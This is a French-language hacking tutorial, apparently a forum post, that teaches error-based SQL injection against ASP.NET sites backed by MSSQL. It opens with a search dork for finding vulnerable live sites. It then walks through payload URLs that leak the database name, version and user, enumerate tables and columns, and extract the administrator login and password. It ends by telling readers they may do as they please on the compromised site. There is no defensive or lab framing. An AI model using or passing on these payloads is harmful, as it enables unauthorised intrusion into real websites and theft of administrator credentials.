Commençons !


Dork utilisé : inurl:.aspx?id=

Une fois que vous avez un site, vous mettez le string (') à la fin de l'URL et vous obtiendrez une erreur du genre.
Spoiler:

Les programmeurs fainéants utilisent des requêtes comme :
select * from tblname where id=' "+ txtIDBox.txt +" ';

Donc si vous avez bien fait gaffe, nous pouvons exploiter ceci en ajoutant nos requêtes dans "txtIDBox.txt".

Identifions maintenant l'erreur :
System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string '12''.
Incorrect syntax near '12''

System.Data.SqlClient.SqlException est responsable de gérer toutes les erreurs liées à MSSQL.


Maintenant, récupérons des infos sur la base de données.
On va utiliser la requête
"DB_NAME()" pour cela.
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,DB_NAME()))-- 


Bien évidemment, vous pouvez utiliser DB_NAME(1), DB_NAME(2), DB_NAME(3), DB_NAME(4) etc. pour voir toutes les autres bases de données.
Spoiler:

Maintenant, vérifions la version en faisant "@@version".
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(@@version))-- 


Spoiler:

Maintenant, l'utilisateur de la base de données avec "USER_NAME()".
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(USER_NAME()))-- 


Spoiler:

Maintenant, commençons à récupérer les tables.

Il n'y a pas de fonction "limit" en MSSQL.
Nous allons utiliser donc "TOP 1".

http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.tables))-- 


Spoiler:

Nous avons donc notre première table, maintenant pour la seconde.
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1')))-- 

Spoiler:

Et nous avons donc notre deuxième table. Avec ceci, nous allons énumérer toutes les tables.

Passons directement à notre table favorite 'tbladmin'.
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl1','tbl2','tbl3','tbl4')))-- 


Spoiler:

Nous avons donc la table d'admin donc récupérons maintenant les colonnes de cette table.
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 column_name from information_schema.columns where table_name ='tbladmin'))-- 



et ça nous montrera la première colonne de la table.
Spoiler:

Pour la seconde colonne :
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 column_name from information_schema.columns where table_name ='tbladmin' and column_name not in ('nid')))--


Spoiler:

Maintenant prenons la prochaine colonne :
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 column_name from information_schema.columns where table_name ='tbladmin' and column_name not in ('nid','loginid')))-- 


Spoiler:

Nous avons maintenant la colonne requise donc récupérons ses données :
http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 loginid from tbladmin))-- 


Spoiler:

"--" est utilisé pour une seule ligne de commentaire en MSSQL, donc ce qui se trouve après "--" est considéré comme un commentaire et n'a donc aucun effet sur notre requête.

Nous avons le pseudo, maintenant récupérons le mot de passe :

http://www.site.com/chose.aspx?id=1 and 1=CONVERT(int,(select top 1 password from tbladmin))-- 


Spoiler:

Voilà,

maintenant, vous avez les infos de login donc vous pouvez faire ce que bon vous semble sur le site.

J'espère que je vous aurais appris quelque chose de nouveau.

Cordialement,
cнєrσkєє & Galfer